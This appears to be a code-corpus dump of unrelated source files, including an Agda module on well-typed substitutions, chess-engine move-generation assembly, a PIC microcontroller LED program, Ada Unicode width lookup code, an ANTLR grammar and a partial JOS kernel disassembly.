4112,1173537 mov $1,$0 mul $0,19 sub $0,18 mul $1,$0
src/Data/Fin/TypedSubstitution.agda
metaborg/mj.agda
10
7514
<reponame>metaborg/mj.agda ------------------------------------------------------------------------ -- Well-typed substitutions -- From ------------------------------------------------------------------------ module Extensions.Fin.TypedSubstitution where import Category.Applicative.Indexed as Applicative open import Data.Fin using (Fin; zero; suc) open import Data.Fin.Substitution open import Data.Fin.Substitution.Lemmas open import Data.Fin.Substitution.ExtraLemmas open import Data.Nat using (ℕ; zero; suc; _+_) open import Data.Vec as Vec using (Vec; []; _∷_; map) open import Data.Vec.All using (All₂; []; _∷_; map₂; gmap₂; gmap₂₁; gmap₂₂) open import Data.Vec.Properties using (lookup-morphism) open import Function using (_∘_; flip) open import Relation.Binary.PropositionalEquality as PropEq hiding (trans) open PropEq.≡-Reasoning ------------------------------------------------------------------------ -- Abstract typing contexts and well-typedness relations -- Abstract typing contexts over T-types. -- -- A typing context Ctx n maps n free variables to types containing up -- to n free variables each. module Context where infixr 5 _∷_ -- Typing contexts. data Ctx (T : ℕ → Set) : ℕ → Set where [] : Ctx T 0 _∷_ : ∀ {n} → T (1 + n) → Ctx T n → Ctx T (1 + n) -- Operations on context that require weakening of types. record WeakenOps (T : ℕ → Set) : Set where -- Weakening of types. field weaken : ∀ {n} → T n → T (1 + n) infixr 5 _i∷_ -- Convert a context to its vector representation. toVec : ∀ {n} → Ctx T n → Vec (T n) n toVec [] = [] toVec (a ∷ Γ) = a ∷ map weaken (toVec Γ) -- Shorthand for extending contexts with variables that are typed -- independently of themselves. _i∷_ : ∀ {n} → T n → Ctx T n → Ctx T (1 + n) a i∷ Γ = weaken a ∷ Γ -- Lookup the type of a variable in a context. lookup : ∀ {n} → Fin n → Ctx T n → T n lookup x = Vec.lookup x ∘ toVec open Context -- Abstract typings. -- -- An abtract typing _⊢_∈_ : Typing Tp₁ Tm Tp₂ is a ternary relation -- which, in a given Tp₂-context, relates Tm-terms to their Tp₁-types. Typing : (ℕ → Set) → (ℕ → Set) → (ℕ → Set) → Set₁ Typing Tp₁ Tm Tp₂ = ∀ {n} → Ctx Tp₁ n → Tm n → Tp₂ n → Set ------------------------------------------------------------------------ -- Abstract well-typed substitutions (i.e. substitution lemmas) -- Abstract typed substitutions. record TypedSub (Tp₁ Tp₂ Tm : ℕ → Set) : Set₁ where infix 4 _⊢_∈_ field _⊢_∈_ : Typing Tp₂ Tm Tp₁ -- the associated typing -- Application of Tm-substitutions to (source) Tp₁-types application : Application Tp₁ Tm -- Operations on the (source) Tp₁-context. weakenOps : WeakenOps Tp₁ open Application application public using (_/_) open WeakenOps weakenOps using (toVec) infix 4 _⇒_⊢_ -- Typed substitutions. -- -- A typed substitution Γ ⇒ Δ ⊢ σ is a substitution σ which, when -- applied to something that is well-typed in a source context Γ, -- yields something well-typed in a target context Δ. _⇒_⊢_ : ∀ {m n} → Ctx Tp₁ m → Ctx Tp₂ n → Sub Tm m n → Set Γ ⇒ Δ ⊢ σ = All₂ (λ t a → Δ ⊢ t ∈ (a / σ)) σ (toVec Γ) -- Abstract extensions of substitutions. record ExtensionTyped {Tp₁ Tp₂ Tm} (simple : Simple Tm) (typedSub : TypedSub Tp₁ Tp₂ Tm) : Set where open TypedSub typedSub private module S = SimpleExt simple module L₀ = Lemmas₀ (record { simple = simple }) module C = WeakenOps weakenOps open C using (_i∷_) field -- Weakens well-typed Ts. weaken : ∀ {n} {Δ : Ctx Tp₂ n} {t a b} → Δ ⊢ t ∈ a → b ∷ Δ ⊢ S.weaken t ∈ C.weaken a -- Weakening commutes with other substitutions. wk-commutes : ∀ {m n} {σ : Sub Tm m n} {t} a → a / σ / S.wk ≡ a / S.wk / (t S./∷ σ) -- Relates weakening of types to weakening of Ts. /-wk : ∀ {n} {a : Tp₁ n} → a / S.wk ≡ C.weaken a -- A helper lemma. weaken-/ : ∀ {m n} {σ : Sub Tm m n} {t} a → C.weaken (a / σ) ≡ C.weaken a / (t S./∷ σ) weaken-/ {σ = σ} {t} a = begin C.weaken (a / σ) ≡⟨ sym /-wk ⟩ a / σ / S.wk ≡⟨ wk-commutes a ⟩ a / S.wk / (t S./∷ σ) ≡⟨ cong₂ _/_ /-wk refl ⟩ C.weaken a / (t S./∷ σ) ∎ infixr 5 _/∷_ _/i∷_ -- Extension. _/∷_ : ∀ {m n} {Γ : Ctx Tp₁ m} {Δ : Ctx Tp₂ n} {t a b σ} → b ∷ Δ ⊢ t ∈ a / (t S./∷ σ) → Γ ⇒ Δ ⊢ σ → a ∷ Γ ⇒ b ∷ Δ ⊢ (t S./∷ σ) t∈a/t∷σ /∷ σ-wt = t∈a/t∷σ ∷ gmap₂ (subst (_⊢_∈_ _ _) (weaken-/ _) ∘ weaken) σ-wt -- A variant of extension tailored to _i∷_. _/i∷_ : ∀ {m n} {Γ : Ctx Tp₁ m} {Δ : Ctx Tp₂ n} {t a b σ} → b ∷ Δ ⊢ t ∈ C.weaken (a / σ) → Γ ⇒ Δ ⊢ σ → a i∷ Γ ⇒ b ∷ Δ ⊢ (t S./∷ σ) t∈a/σ /i∷ σ-wt = (subst (_⊢_∈_ _ _) (weaken-/ _) t∈a/σ) /∷ σ-wt -- Abstract simple typed substitutions. record SimpleTyped {Tp Tm} (simple : Simple Tm) (typedSub : TypedSub Tp Tp Tm) : Set where field extensionTyped : ExtensionTyped simple typedSub open TypedSub typedSub open ExtensionTyped extensionTyped public private module S = SimpleExt simple module L₀ = Lemmas₀ (record { simple = simple }) module C = WeakenOps weakenOps open C using (_i∷_) field -- Takes variables to well-typed Ts. var : ∀ {n} {Γ : Ctx Tp n} (x : Fin n) → Γ ⊢ S.var x ∈ C.lookup x Γ -- Types are invariant under the identity substitution. id-vanishes : ∀ {n} (a : Tp n) → a / S.id ≡ a -- Single-variable substitution is a left-inverse of weakening. wk-sub-vanishes : ∀ {n b} (a : Tp n) → a / S.wk / S.sub b ≡ a infix 10 _↑ _↑i -- Lifting. _↑ : ∀ {m n} {Γ : Ctx Tp m} {Δ : Ctx Tp n} {σ} → Γ ⇒ Δ ⊢ σ → ∀ {a} → a ∷ Γ ⇒ a / σ S.↑ ∷ Δ ⊢ (σ S.↑) σ-wt ↑ = var zero /∷ σ-wt -- A variant of lifting tailored to _i∷_. _↑i : ∀ {m n} {Γ : Ctx Tp m} {Δ : Ctx Tp n} {σ} → Γ ⇒ Δ ⊢ σ → ∀ {a} → a i∷ Γ ⇒ a / σ i∷ Δ ⊢ σ S.↑ σ-wt ↑i = var zero /i∷ σ-wt -- The identity substitution. id : ∀ {n} {Γ : Ctx Tp n} → Γ ⇒ Γ ⊢ S.id id {zero} = [] id {suc n} {a ∷ Γ} = subst₂ (λ Δ σ → a ∷ Γ ⇒ Δ ⊢ σ) (cong (flip _∷_ Γ) (id-vanishes a)) (L₀.id-↑⋆ 1) (id ↑) where id-vanishes′ : ∀ {n} (a : Tp (1 + n)) → a / S.id S.↑ ≡ a id-vanishes′ a = begin a / S.id S.↑ ≡⟨ cong (_/_ a) (L₀.id-↑⋆ 1) ⟩ a / S.id ≡⟨ id-vanishes a ⟩ a ∎ -- Weakening. wk : ∀ {n} {Γ : Ctx Tp n} {a} → Γ ⇒ a ∷ Γ ⊢ S.wk wk {n} {Γ = Γ} {a = a} = gmap₂₁ (weaken′ ∘ subst (_⊢_∈_ _ _) (id-vanishes _)) id where weaken′ : ∀ {n} {Γ : Ctx Tp n} {t a b} → Γ ⊢ t ∈ a → b ∷ Γ ⊢ S.weaken t ∈ a / S.wk weaken′ = subst (_⊢_∈_ _ _) (sym /-wk) ∘ weaken private wk-sub-vanishes′ : ∀ {n a} {t : Tm n} → a ≡ C.weaken a / S.sub t wk-sub-vanishes′ {a = a} {t} = begin a ≡⟨ sym (wk-sub-vanishes a) ⟩ a / S.wk / S.sub t ≡⟨ cong (flip _/_ _) /-wk ⟩ C.weaken a / S.sub t ∎ id-wk-sub-vanishes : ∀ {n a} {t : Tm n} → a / S.id ≡ C.weaken a / S.sub t id-wk-sub-vanishes {a = a} {t} = begin a / S.id ≡⟨ id-vanishes a ⟩ a ≡⟨ wk-sub-vanishes′ ⟩ C.weaken a / S.sub t ∎ -- A substitution which only replaces the first variable. sub : ∀ {n} {Γ : Ctx Tp n} {t a} → Γ ⊢ t ∈ a → a i∷ Γ ⇒ Γ ⊢ S.sub t sub t∈a = t∈a′ ∷ gmap₂₂ (subst (_⊢_∈_ _ _) id-wk-sub-vanishes) id where t∈a′ = subst (_⊢_∈_ _ _) wk-sub-vanishes′ t∈a -- A variant of single-variable substitution that handles -- self-dependently typed variables. sub′ : ∀ {n} {Γ : Ctx Tp n} {t a} → Γ ⊢ t ∈ a / S.sub t → a ∷ Γ ⇒ Γ ⊢ S.sub t sub′ t∈a[/t] = t∈a[/t] ∷ gmap₂₂ (subst (_⊢_∈_ _ _) id-wk-sub-vanishes) id -- A substitution which only changes the type of the first variable. tsub : ∀ {n} {Γ : Ctx Tp n} {a b} → b ∷ Γ ⊢ S.var zero ∈ a → a ∷ Γ ⇒ b ∷ Γ ⊢ S.id tsub z∈a = z∈a′ ∷ gmap₂ (subst (_⊢_∈_ _ _) (weaken-/ _) ∘ weaken) id where z∈a′ = subst (_⊢_∈_ _ _) (sym (id-vanishes _)) z∈a -- Abstract typed liftings from Tm₁ to Tm₂. record LiftTyped {Tp Tm₁ Tm₂} (l : Lift Tm₁ Tm₂) (typedSub : TypedSub Tp Tp Tm₁) (_⊢₂_∈_ : Typing Tp Tm₂ Tp) : Set where open TypedSub typedSub renaming (_⊢_∈_ to _⊢₁_∈_) private module L = Lift l -- The underlying well-typed simple Tm₁-substitutions. field simpleTyped : SimpleTyped L.simple typedSub open SimpleTyped simpleTyped public -- Lifts well-typed Tm₁-terms to well-typed Tm₂-terms. field lift : ∀ {n} {Γ : Ctx Tp n} {t a} → Γ ⊢₁ t ∈ a → Γ ⊢₂ (L.lift t) ∈ a -- Abstract variable typings. module VarTyping {Tp} (weakenOps : Context.WeakenOps Tp) where open WeakenOps weakenOps infix 4 _⊢Var_∈_ -- Abstract variable typings. data _⊢Var_∈_ {n} (Γ : Ctx Tp n) : Fin n → Tp n → Set where var : ∀ x → Γ ⊢Var x ∈ lookup x Γ -- Abstract typed variable substitutions (α-renamings). record TypedVarSubst (Tp : ℕ → Set) : Set where field application : Application Tp Fin weakenOps : WeakenOps Tp open VarTyping weakenOps public typedSub : TypedSub Tp Tp Fin typedSub = record { _⊢_∈_ = _⊢Var_∈_ ; application = application ; weakenOps = weakenOps } open TypedSub typedSub public using () renaming (_⇒_⊢_ to _⇒_⊢α_) open Application application using (_/_) open Lemmas₄ VarLemmas.lemmas₄ using (id; wk; _⊙_) private module C = WeakenOps weakenOps field /-wk : ∀ {n} {a : Tp n} → a / wk ≡ C.weaken a id-vanishes : ∀ {n} (a : Tp n) → a / id ≡ a /-⊙ : ∀ {m n k} {σ₁ : Sub Fin m n} {σ₂ : Sub Fin n k} a → a / σ₁ ⊙ σ₂ ≡ a / σ₁ / σ₂ appLemmas : AppLemmas Tp Fin appLemmas = record { application = application ; lemmas₄ = VarLemmas.lemmas₄ ; id-vanishes = id-vanishes ; /-⊙ = /-⊙ } open ExtAppLemmas appLemmas hiding (var; weaken; /-wk; id-vanishes; subst) -- Extensions of renamings. extensionTyped : ExtensionTyped VarLemmas.simple typedSub extensionTyped = record { weaken = weaken ; wk-commutes = wk-commutes ; /-wk = /-wk } where open Applicative.Morphism using (op-<$>) weaken : ∀ {n} {Γ : Ctx Tp n} {x a b} → Γ ⊢Var x ∈ a → b ∷ Γ ⊢Var suc x ∈ C.weaken a weaken (var x) = subst (_⊢Var_∈_ _ _) (op-<$> (lookup-morphism x) _ _) (var (suc x)) -- Simple typed renamings. simpleTyped : SimpleTyped VarLemmas.simple typedSub simpleTyped = record { extensionTyped = extensionTyped ; var = var ; id-vanishes = id-vanishes ; wk-sub-vanishes = wk-sub-vanishes } open SimpleTyped simpleTyped public hiding (extensionTyped; var; /-wk; id-vanishes; wk-sub-vanishes) -- Context-replacing substitutions. record ContextSub (Tp₁ Tp₂ Tm : ℕ → Set) : Set₁ where infix 4 _⊢_∈_ field _⊢_∈_ : Typing Tp₂ Tm Tp₁ -- the associated typing -- Simple Tm-substitutions (e.g. id). simple : Simple Tm -- Operations on the (source) Tp₁-context. weakenOps : WeakenOps Tp₁ open Simple simple using (id) open WeakenOps weakenOps using (toVec) infix 4 _⇒_⊢-id -- Context-replacing substitutions. -- -- An alternative representation for substitutions that only change -- the context of a well-typed Tm-term, i.e. where the underlying -- untyped substitution is the identity. _⇒_⊢-id : ∀ {n} → Ctx Tp₁ n → Ctx Tp₂ n → Set Γ ⇒ Δ ⊢-id = All₂ (λ t a → Δ ⊢ t ∈ a) id (toVec Γ) -- Equivalences between (simple) typed substitutions and their -- context-replacing counterparts. record Equivalence {Tp₁ Tp₂ Tm} (simple : Simple Tm) (typedSub : TypedSub Tp₁ Tp₂ Tm) : Set where open Simple simple open TypedSub typedSub -- The type of context substitutions participating in this -- equivalence. contextSub : ContextSub Tp₁ Tp₂ Tm contextSub = record { _⊢_∈_ = _⊢_∈_ ; simple = simple ; weakenOps = weakenOps } open ContextSub contextSub hiding (_⊢_∈_; simple) -- Types are invariant under the identity substitution. field id-vanishes : ∀ {n} (a : Tp₁ n) → a / id ≡ a -- There is a context substitution for every typed identity -- substitution. sound : ∀ {n} {Γ : Ctx Tp₁ n} {Δ : Ctx Tp₂ n} → Γ ⇒ Δ ⊢-id → Γ ⇒ Δ ⊢ id sound ρ = map₂ (subst (_⊢_∈_ _ _) (sym (id-vanishes _))) ρ -- There is a context substitution for every typed identity -- substitution. complete : ∀ {n} {Γ : Ctx Tp₁ n} {Δ : Ctx Tp₂ n} → Γ ⇒ Δ ⊢ id → Γ ⇒ Δ ⊢-id complete σ-wt = map₂ (subst (_⊢_∈_ _ _) (id-vanishes _)) σ-wt -- Variants of some simple typed substitutions. record ContextSimple {Tp Tm} (simple : Simple Tm) (typedSub : TypedSub Tp Tp Tm) : Set where field simpleTyped : SimpleTyped simple typedSub open TypedSub typedSub hiding (_⊢_∈_) private module U = SimpleExt simple module C = WeakenOps weakenOps module S = SimpleTyped simpleTyped open C using (_i∷_) equivalence : Equivalence simple typedSub equivalence = record { id-vanishes = S.id-vanishes } open Equivalence equivalence public open ContextSub contextSub public infixr 5 _/∷_ infix 10 _↑ -- Extension. _/∷_ : ∀ {n} {Γ : Ctx Tp n} {Δ : Ctx Tp n} {a b} → b ∷ Δ ⊢ U.var zero ∈ a → Γ ⇒ Δ ⊢-id → a ∷ Γ ⇒ b ∷ Δ ⊢-id z∈a /∷ σ-wt = z∈a ∷ gmap₂ S.weaken σ-wt -- Lifting. _↑ : ∀ {n} {Γ : Ctx Tp n} {Δ : Ctx Tp n} → Γ ⇒ Δ ⊢-id → ∀ {a} → a ∷ Γ ⇒ a ∷ Δ ⊢-id ρ ↑ = S.var zero /∷ ρ -- The identity substitution. id : ∀ {n} {Γ : Ctx Tp n} → Γ ⇒ Γ ⊢-id id = complete S.id
x86/Gen_Evasions.asm
lantonov/asm
150
86221
; generate<EVASIONS> generates all pseudo-legal check evasions when the side ; to move is in check. Returns a pointer to the end of the move list. calign 16 Gen_Evasions: ; in rbp address of position ; rbx address of state ; io rdi address to write moves push rsi r12 r13 r14 r15 mov r13d, dword[rbp+Pos.sideToMove] ; r14 = our king square mov r14, qword[rbp+Pos.typeBB+8*King] and r14, qword[rbp+Pos.typeBB+8*r13] _tzcnt r14, r14 ; rsi = their sliding checkers mov rsi, qword[rbp+Pos.typeBB+8*Pawn] or rsi, qword[rbp+Pos.typeBB+8*Knight] _andn rsi, rsi, qword[rbx+State.checkersBB] ; r12 = sliderAttacks mov r9, r14 shl r9, 6+3 xor r12, r12 bsf rdx, rsi jz .SlidersDone .NextSlider: _blsr rsi, rsi, r8 mov rax, [LineBB+r9+8*rdx] btr rax, rdx or r12, rax bsf rdx, rsi jnz .NextSlider .SlidersDone: ; generate moves for the king to safe squares mov rsi, qword[rbp+Pos.typeBB+8*r13] _andn rsi, rsi, qword[KingAttacks+8*r14] _andn r12, r12, rsi shl r14d, 6 bsf rax, r12 jz .KingMoveDone .NextKingMove: _blsr r12, r12, r8 or eax, r14d mov dword [rdi], eax lea rdi, [rdi+sizeof.ExtMove] bsf rax, r12 jnz .NextKingMove .KingMoveDone: ; if there are multiple checkers, only king moves can be evasions mov rcx, qword[rbx+State.checkersBB] _blsr rax, rcx jnz Gen_Evasions_White.Ret bsf rax, rcx mov r15, qword[BetweenBB+r9+8*rax] or r15, rcx mov r14, qword[rbp+Pos.typeBB+8*White] or r14, qword[rbp+Pos.typeBB+8*Black] test r13d,r13d jnz Gen_Evasions_Black Gen_Evasions_White: generate_all White, EVASIONS .Ret: pop r15 r14 r13 r12 rsi ret generate_jmp White, EVASIONS Gen_Evasions_Black: generate_all Black, EVASIONS pop r15 r14 r13 r12 rsi ret generate_jmp Black, EVASIONS
prova.asm
mrocha98/microcontroladores
0
27902
<gh_stars>0 ;---------------------------------------------------------------; ; PROGRAMA: FONTE ; AULA DE MICROCONTROLADOS I ; ; DIGITADO POR: Matheus EM: 13/06/2019 ; ; Este arquivo é responsável por acender 4 LEDS dispostos na ; porta D conforme o sinal de um botão na porta B ;---------------------------------------------------------------; ;---------------------------------------------------------------; ; DEFINIÇÃO DO MICROCONTROLADOR USADO ;---------------------------------------------------------------; #include <p16f877A.inc> ;---------------------------------------------------------------; ; CONFIGURAÇÕES DOS FUSÍVEIS ;---------------------------------------------------------------; __CONFIG _CP_OFF & _CPD_OFF & _DEBUG_OFF & _LVP_OFF & _WRT_OFF & _BODEN_OFF & _PWRTE_OFF & _WDT_OFF & _HS_OSC ;---------------------------------------------------------------; ; DECLARAÇÃO DE VARIÁVEIS ;---------------------------------------------------------------; T1 equ 1;.20 T2 equ 1;.30 T3 equ 1;.225 ;---------------------------------------------------------------; ; MACROS ;---------------------------------------------------------------; ;---------------------------------------------------------------; ; INICIO DAS INSTRUÇÕES ;---------------------------------------------------------------; org 0x00 ;organize apartir do endereço 0 goto INICIO ;---------------------------------------------------------------; ; ROTINA DE INTERRUPÇÃO ;---------------------------------------------------------------; ;---------------------------------------------------------------; ; CONFIGURAÇÕES INICIAIS DO PIC ;---------------------------------------------------------------; INICIO: bcf STATUS, .7 ; IRP = 0 bcf STATUS, .6 ; RP1 = 0 bsf STATUS, .5 ; RP0 = 1 (foi pro banco 1) bsf TRISB, .6 ; RB6 é entrada bcf TRISD, .2 ; RD2 é saída bcf TRISD, .3 ; RD3 é saída bcf TRISD, .4 ; RD4 é saída bcf TRISD, .5 ; RD5 é saída bcf STATUS, .5 ; Voltando pro banco 0 ;---------------------------------------------------------------; ; ROTINA PRINCIPAL ;---------------------------------------------------------------; MAIN: call CHECA_BOTAO goto MAIN ;---------------------------------------------------------------; ; SUBROTINAS USADAS ;---------------------------------------------------------------; APAGA_LEDS: clrf PORTD goto CHECA_BOTAO CHECA_BOTAO: btfss PORTB, .6 ; Botao esta pressionado? goto APAGA_LEDS; Caso nao esteja, volta a checar goto ACENDE_LEDS; Caso esteja, chama subrotinas que acendem os leds goto ACENDE_1_EM_1 ACENDE_LEDS: movlw .60; 00111100 movwf PORTD call ATRASO RETURN ACENDE_1_EM_1: movlw 0x04; 00000100 movwf PORTD call ATRASO movlw 0x08; 00001000 movwf PORTD call ATRASO movlw .16; 00010000 movwf PORTD call ATRASO movlw .32; 00100000 movwf PORTD call ATRASO movlw .16; 00010000 movwf PORTD call ATRASO movlw 0x08; 00001000 movwf PORTD call ATRASO movlw 0x04; 00000100 movwf PORTD call ATRASO RETURN ATRASO: movlw T1 movwf 0x20 REPETE: movlw T2 movwf 0x21 REPETE1: movlw T3 movwf 0x22 REPETE2: movlw .1 subwf 0x22, .1 btfss STATUS, .2 goto REPETE2 movlw .1 subwf 0x21, .1 btfss STATUS, .2 goto REPETE1 movlw .1 subwf 0x20, .1 btfss STATUS, .2 goto REPETE RETURN end
programs/oeis/329/A329683.asm
neoneye/loda
22
170377
<reponame>neoneye/loda ; A329683: Number of excursions of length n with Motzkin-steps forbidding all consecutive steps of length 2 except UH, HH and HD. ; 1,1,1,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2 div $0,3 pow $1,$0 gcd $1,2 mov $0,$1
source/strings/a-seaswi.adb
ytomino/drake
33
9178
with Ada.UCD.East_Asian_Width; package body Ada.Strings.East_Asian_Width is use type UCD.UCS_4; pragma Compile_Time_Error ( UCD.East_Asian_Width_Type'Pos (UCD.N) /= Width_Kind'Pos (Neutral) or else UCD.East_Asian_Width_Type'Pos (UCD.Na) /= Width_Kind'Pos (Narrow) or else UCD.East_Asian_Width_Type'Pos (UCD.H) /= Width_Kind'Pos (Half_Width) or else UCD.East_Asian_Width_Type'Pos (UCD.A) /= Width_Kind'Pos (Ambiguous) or else UCD.East_Asian_Width_Type'Pos (UCD.W) /= Width_Kind'Pos (Wide) or else UCD.East_Asian_Width_Type'Pos (UCD.F) /= Width_Kind'Pos (Full_Width), "bad order"); type Long_Boolean is new Boolean; for Long_Boolean'Size use Long_Integer'Size; function expect (exp, c : Long_Boolean) return Long_Boolean with Import, Convention => Intrinsic, External_Name => "__builtin_expect"; function Search ( Table : UCD.East_Asian_Width.Table_16_Type; Code : UCD.UCS_4) return UCD.East_Asian_Width_Type; function Search ( Table : UCD.East_Asian_Width.Table_16_Type; Code : UCD.UCS_4) return UCD.East_Asian_Width_Type is L : Positive := Table'First; H : Natural := Table'Last; begin loop declare type Unsigned is mod 2 ** Integer'Size; M : constant Positive := Integer (Unsigned (L + H) / 2); M_Item : UCD.East_Asian_Width.Table_16_Item_Type renames Table (M); begin if Code < M_Item.Start then H := M - 1; elsif expect ( Long_Boolean (Code >= M_Item.Start + UCD.UCS_4 (M_Item.Length)), True) then L := M + 1; else return M_Item.Width; end if; end; exit when L > H; end loop; return UCD.N; end Search; function Search ( Table : UCD.East_Asian_Width.Table_32_Type; Code : UCD.UCS_4) return UCD.East_Asian_Width_Type; function Search ( Table : UCD.East_Asian_Width.Table_32_Type; Code : UCD.UCS_4) return UCD.East_Asian_Width_Type is L : Positive := Table'First; H : Natural := Table'Last; begin loop declare type Unsigned is mod 2 ** Integer'Size; M : constant Positive := Integer (Unsigned (L + H) / 2); M_Item : UCD.East_Asian_Width.Table_32_Item_Type renames Table (M); begin if Code < M_Item.Start then H := M - 1; elsif expect ( Long_Boolean (Code >= M_Item.Start + UCD.UCS_4 (M_Item.Length)), True) then L := M + 1; else return M_Item.Width; end if; end; exit when L > H; end loop; return UCD.N; end Search; -- implementation function Kind (C : Wide_Wide_Character) return Width_Kind is Code : constant UCD.UCS_4 := Wide_Wide_Character'Pos (C); begin case Code is when 0 .. 16#FFFF# => return Width_Kind'Val ( UCD.East_Asian_Width_Type'Pos ( Search (UCD.East_Asian_Width.Table_XXXX, Code))); when 16#10000# .. 16#1FFFF# => return Width_Kind'Val ( UCD.East_Asian_Width_Type'Pos ( Search ( UCD.East_Asian_Width.Table_1XXXX, Code - 16#10000#))); when 16#20000# .. 16#7FFFFFFF# => return Width_Kind'Val ( UCD.East_Asian_Width_Type'Pos ( Search (UCD.East_Asian_Width.Table_XXXXXXXX, Code))); end case; end Kind; function Is_Full_Width (W : Width_Kind; East_Asian : Boolean) return Boolean is begin return Width_Kind'Pos (W) > Width_Kind'Pos (Ambiguous) - Boolean'Pos (East_Asian); end Is_Full_Width; end Ada.Strings.East_Asian_Width;
C/Projeto/bdex-comp-09/src/SecondaryGrammar/ReadFile.g4
pedromonteiro01/2semestre
0
7850
<reponame>pedromonteiro01/2semestre<gh_stars>0 grammar ReadFile; // 1st line contains attributes -> header // nmec, name, nota1, nota2 // val1, val2, val3, val4 @header{ package SecondaryGrammar; import Files.*; } file: line line* EOF; line: field (SEP field)* '\r' ? '\n'; field: TEXT | STRING| ; SEP: [ \t]* ',' [ \t]*; // ( ’ ’ | ’ \ t ’ )* STRING: [ \t]* '"'.*? '"' [ \t]*; TEXT: ~ [,"\r\n] ~ [,\r \n]*;
labs/lab1/code/obj/kern/kernel.asm
BiEchi/MITLearnOS
0
162653
obj/kern/kernel: file format elf32-i386 Disassembly of section .text: f0100000 <_start+0xeffffff4>: .globl _start _start = RELOC(entry) .globl entry entry: movw $0x1234,0x472 # warm boot f0100000: 02 b0 ad 1b 00 00 add 0x1bad(%eax),%dh f0100006: 00 00 add %al,(%eax) f0100008: fe 4f 52 decb 0x52(%edi) f010000b: e4 .byte 0xe4 f010000c <entry>: f010000c: 66 c7 05 72 04 00 00 movw $0x1234,0x472 f0100013: 34 12 # sufficient until we set up our real page table in mem_init # in lab 2. # Load the physical address of entry_pgdir into cr3. entry_pgdir # is defined in entrypgdir.c. movl $(RELOC(entry_pgdir)), %eax f0100015: b8 00 00 11 00 mov $0x110000,%eax movl %eax, %cr3 f010001a: 0f 22 d8 mov %eax,%cr3 # Turn on paging. movl %cr0, %eax f010001d: 0f 20 c0 mov %cr0,%eax orl $(CR0_PE|CR0_PG|CR0_WP), %eax f0100020: 0d 01 00 01 80 or $0x80010001,%eax movl %eax, %cr0 f0100025: 0f 22 c0 mov %eax,%cr0 # Now paging is enabled, but we're still running at a low EIP # (why is this okay?). Jump up above KERNBASE before entering # C code. mov $relocated, %eax f0100028: b8 2f 00 10 f0 mov $0xf010002f,%eax jmp *%eax f010002d: ff e0 jmp *%eax f010002f <relocated>: relocated: # Clear the frame pointer register (EBP) # so that once we get into debugging C code, # stack backtraces will be terminated properly. movl $0x0,%ebp # nuke frame pointer f010002f: bd 00 00 00 00 mov $0x0,%ebp # Set the stack pointer movl $(bootstacktop),%esp f0100034: bc 00 00 11 f0 mov $0xf0110000,%esp # now to C code call i386_init f0100039: e8 56 00 00 00 call f0100094 <i386_init> f010003e <spin>: # Should never get here, but in case we do, just spin. spin: jmp spin f010003e: eb fe jmp f010003e <spin> f0100040 <test_backtrace>: #include <kern/console.h> // Test the stack backtrace function (lab 1 only) void test_backtrace(int x) { f0100040: 55 push %ebp f0100041: 89 e5 mov %esp,%ebp f0100043: 53 push %ebx f0100044: 83 ec 0c sub $0xc,%esp f0100047: 8b 5d 08 mov 0x8(%ebp),%ebx cprintf("entering test_backtrace %d\n", x); f010004a: 53 push %ebx f010004b: 68 c0 19 10 f0 push $0xf01019c0 f0100050: e8 16 0a 00 00 call f0100a6b <cprintf> if (x > 0) f0100055: 83 c4 10 add $0x10,%esp f0100058: 85 db test %ebx,%ebx f010005a: 7e 11 jle f010006d <test_backtrace+0x2d> test_backtrace(x-1); f010005c: 83 ec 0c sub $0xc,%esp f010005f: 8d 43 ff lea -0x1(%ebx),%eax f0100062: 50 push %eax f0100063: e8 d8 ff ff ff call f0100040 <test_backtrace> f0100068: 83 c4 10 add $0x10,%esp f010006b: eb 11 jmp f010007e <test_backtrace+0x3e> else mon_backtrace(0, 0, 0); f010006d: 83 ec 04 sub $0x4,%esp f0100070: 6a 00 push $0x0 f0100072: 6a 00 push $0x0 f0100074: 6a 00 push $0x0 f0100076: e8 29 07 00 00 call f01007a4 <mon_backtrace> f010007b: 83 c4 10 add $0x10,%esp cprintf("leaving test_backtrace %d\n", x); f010007e: 83 ec 08 sub $0x8,%esp f0100081: 53 push %ebx f0100082: 68 dc 19 10 f0 push $0xf01019dc f0100087: e8 df 09 00 00 call f0100a6b <cprintf> } f010008c: 83 c4 10 add $0x10,%esp f010008f: 8b 5d fc mov -0x4(%ebp),%ebx f0100092: c9 leave f0100093: c3 ret f0100094 <i386_init>: void i386_init(void) { f0100094: 55 push %ebp f0100095: 89 e5 mov %esp,%ebp f0100097: 83 ec 0c sub $0xc,%esp extern char edata[], end[]; // Before doing anything else, complete the ELF loading process. // Clear the uninitialized global data (BSS) section of our program. // This ensures that all static/global variables start out zero. memset(edata, 0, end - edata); f010009a: b8 a8 29 11 f0 mov $0xf01129a8,%eax f010009f: 2d 00 23 11 f0 sub $0xf0112300,%eax f01000a4: 50 push %eax f01000a5: 6a 00 push $0x0 f01000a7: 68 00 23 11 f0 push $0xf0112300 f01000ac: e8 a9 14 00 00 call f010155a <memset> // Initialize the console. // Can't call cprintf until after we do this! cons_init(); f01000b1: e8 7b 04 00 00 call f0100531 <cons_init> cprintf("6828 decimal is %o octal!\n", 6828); f01000b6: 83 c4 08 add $0x8,%esp f01000b9: 68 ac 1a 00 00 push $0x1aac f01000be: 68 f7 19 10 f0 push $0xf01019f7 f01000c3: e8 a3 09 00 00 call f0100a6b <cprintf> // Test the stack backtrace function (lab 1 only) test_backtrace(5); f01000c8: c7 04 24 05 00 00 00 movl $0x5,(%esp) f01000cf: e8 6c ff ff ff call f0100040 <test_backtrace> f01000d4: 83 c4 10 add $0x10,%esp // Drop into the kernel monitor. while (1) monitor(NULL); f01000d7: 83 ec 0c sub $0xc,%esp f01000da: 6a 00 push $0x0 f01000dc: e8 a5 07 00 00 call f0100886 <monitor> f01000e1: 83 c4 10 add $0x10,%esp f01000e4: eb f1 jmp f01000d7 <i386_init+0x43> f01000e6 <_panic>: * Panic is called on unresolvable fatal errors. * It prints "panic: mesg", and then enters the kernel monitor. */ void _panic(const char *file, int line, const char *fmt,...) { f01000e6: 55 push %ebp f01000e7: 89 e5 mov %esp,%ebp f01000e9: 56 push %esi f01000ea: 53 push %ebx f01000eb: 8b 75 10 mov 0x10(%ebp),%esi va_list ap; if (panicstr) f01000ee: 83 3d a0 29 11 f0 